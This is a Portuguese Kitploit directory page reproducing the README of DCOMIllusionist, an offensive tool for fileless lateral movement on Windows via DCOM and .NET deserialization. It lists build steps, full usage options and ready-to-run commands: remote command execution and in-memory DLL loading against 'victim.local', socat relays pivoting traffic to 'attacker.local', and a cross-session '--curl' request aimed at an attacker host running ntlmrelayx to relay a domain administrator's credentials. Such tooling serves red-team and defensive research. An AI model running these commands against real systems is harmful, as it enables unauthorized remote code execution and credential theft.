Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
DCOMIllusionist — DCOM em memória e técnicas de movimento lateral sem arquivos através de desserialização .Net | Kitploit
Ferramentas/GitHubGitHub/synacktiv/dcomillusionist
Escalada de PrivilégiosExploraçãoMovimento LateralPós-ExploraçãoTestes de PenetraçãoComando e ControleAutenticaçãoRed TeamingFerramenta de Acesso RemotoDesenvolvimento de Payloads
GitHub
2833310há 3 mesesRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
synacktiv/dcomillusionist

DCOMIllusionist

DCOM em memória e técnicas de movimento lateral sem arquivos através de desserialização .Net

Ver Repositório
🎩✨🪄

DCOMIllusionist

Técnica de movimento lateral sem arquivos no Windows.

Introdução  •  Compilação  •  Uso  •  Detalhes Técnicos  •  Agradecimentos


Introdução

Esta ferramenta permite execução remota de código em uma máquina Windows, se você tiver privilégios administrativos. Ela aproveita o DCOM e o comportamento de servidores DCOM .NET, que desserializam automaticamente objetos recebidos. Isso possibilita executar comandos arbitrários ou carregar DLLs sem gravar em disco.

Originalmente descoberto por James Forshaw como uma técnica de escalonamento de privilégios, este método foi adaptado para movimento lateral por meio da modificação remota de chaves de registro específicas. Além disso, suporta exploração entre sessões via DCOM, permitindo que comandos arbitrários sejam executados na sessão de outro usuário sob o contexto de segurança dessa sessão.

Funciona em estações de trabalho e servidores, mas é necessário acesso de rede entre a máquina alvo e uma máquina controlada pelo atacante para que a técnica funcione.

Mais detalhes em esta seção.

Compilação

Uma versão de lançamento (release) está disponível, ou você pode compilá-la manualmente:

PS F:\> git clone https://github.com/synacktiv/DCOMIllusionist.git
PS F:\> cd DCOMIllusionist
PS F:\DCOMIllusionist> dotnet publish -c Release -r win-x64

Uso

PS F:\> runas /u:LAB\adm /netonly powershell.exe
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 1 --curl http://attacker.local --attacker-sid <sid-adm>

[!IMPORTANT]
É necessário acesso administrativo tanto no host atacante (via shell elevado) quanto na máquina alvo para usar esta ferramenta com sucesso.

Usage:
  DCOMIllusionist.exe [options] -t <target> (--ps-exec | --exec | --curl | --file-write-src | --load-dll | --yso-b64 | --test-network | --list-sessions)

Options:
  -h, --help                        Show this help message and exit
  -d, --debug                       Enable debug logging
  -t, --target <value>              Set the target hostname or IP
  -p, --port <value>                Set the target port (Default: 49765)
      --clsid <value>               Specify a CLSID (no curly braces)
      --appid <value>               Specify an AppID (no curly braces)
  -s, --session <value>             Provide a session identifier
   -l --listen <host>               Specify listener FQDN or IP
  -g, --gadget <value>              Specify gadget to use
      --attacker-sid <value>        Set the attacker's SID
      --no-port-check               Disable port availability check
      --restore-backup <path>       Restore registry from backup
      --local-registry-only         Only performs local registry modifications
      --remote-registry-only        Only performs remote registry modifications
      --skip-local-registry-setup   Skip local registry setup
      --skip-remote-registry-setup  Skip remote registry setup
      --hku                         Perform remote registry operations on HKCU instead of HKLM
      --fake-clsid                  Create fake CLSID with fake AppId

Attacks:
      --ps-exec <args>              Execute a command remotely using PSExec
      --exec <cmd>                  Execute a command remotely
      --exec-args <args>            Args to pass to the command
      --curl <url>                  Use curl-style web request payload
      --file-write-src <src>        File to write
      --file-write-dst <dst>        Destination path
      --load-dll <path>             Load a DLL into the remote process
      --dll-class <value>           Class in the DLL to execute (including namespace)
      --dll-method <value>          Static Method in the class to execute (Default: Run)
      --yso-b64 <b64>               Execute base64-encoded ysoserial payload
      --test-network                Check network access from target to attacker machine
      --list-sessions               List interactive sessions on the target

Examples:
    DCOMIllusionist.exe --target 192.168.1.10 --exec "whoami"
    DCOMIllusionist.exe -t victim.local -p 1337 --listen other.attacker.local --load-dll "payload.dll" --dll-class "Exploit" --session 2

CLSID:
    BFFECCA7-4069-49F9-B5AB-7CCBB078ED91 - System.ServiceModel.Internal.TransactionBridge           (Default)
    2A7B042D-578A-4366-9A3D-154C0498458E - System.Management.Instrumentation.ManagedCommonProvider
    37708080-3519-4ED6-91D5-A64B643863FB - Windows.Help.Runtime.CatalogRead

AppId:
    577289B6-6E75-11DF-86F8-18A905160FE0 - Windows Push Notification Platform Connection Provider   (Default)
    63766597-1825-407D-8752-098F33846F46 - CentennialLifetimeManagerConsoleOperator
    06C792F8-6212-4F39-BF70-E8C0AC965C23 - User Account Control Settings                            (Interactive user)
    D4872B74-3AFC-47CD-B8A2-9E4F998539BC - Remote Cloud Store Factory                               (Interactive user)

--session

Como explicado anteriormente, uma sessão pode ser especificada para executar um comando arbitrário na sessão de outro usuário.

[!WARNING] Isso só funciona com AppIDs configurados para executar sob a identidade do usuário interativo. Isso é tratado automaticamente; não é necessário especificar o argumento --appid, pois a ferramenta usará o AppID associado às Configurações de Controle de Conta de Usuário por padrão.

[!IMPORTANT] Só funciona se a máquina atacante estiver ingressada em um domínio; mais detalhes aqui.

--list-sessions

Lista as sessões interativas e ativas remotas no alvo usando WTSEnumerateSessions.

--listen

Se a máquina alvo não puder alcançar diretamente o host do atacante, a exploração falhará. No entanto, é possível especificar uma máquina intermediária à qual o alvo possa se conectar. Usando ferramentas como socat, o tráfego pode então ser retransmitido desse intermediário para o host do atacante.

listen

  • Na máquina comprometida:
$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:attacker.local:135
$ socat -v TCP-LISTEN:1337,fork,reuseaddr TCP:attacker.local:1337
  • Na máquina do atacante:
PS F:\> ./DCOMIllusionist.exe -t victim.local -p 1337 --listen compromised.local --ps-exec whoami

--attacker-sid

Ao executar a exploração a partir de um shell runas /netonly, a identidade associada não pode ser recuperada automaticamente. Portanto, é necessário fornecê-la explicitamente usando a opção --attacker-sid para que o ataque tenha sucesso.

--exec

--exec pode ser usado com --exec-args para executar binários arbitrários no alvo:

PS F:\> ./DCOMIllusionist.exe -t victim.local --exec powershell.exe --exec-args "-C calc"

[!NOTE] --ps-exec é apenas um wrapper para isso; o mesmo pode ser alcançado com: --ps-exec calc

--curl

Curl pode ser útil em cenários de exploração entre sessões. Se você tiver privilégios administrativos em uma máquina e, por exemplo, um administrador de domínio estiver ativo na sessão 3, é possível iniciar uma requisição HTTP autenticada, puramente via .NET, em nome desse usuário. Ao direcionar essa requisição para uma máquina controlada pelo atacante que esteja executando ntlmrelayx.py, ataques tradicionais de relay NTLM podem ser realizados para comprometer o usuário.

PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 3 --curl http://attacker.local

--load-dll

É possível carregar uma DLL arbitrária inteiramente em memória, sem tocar no disco. Por exemplo:

Baixar ferramenta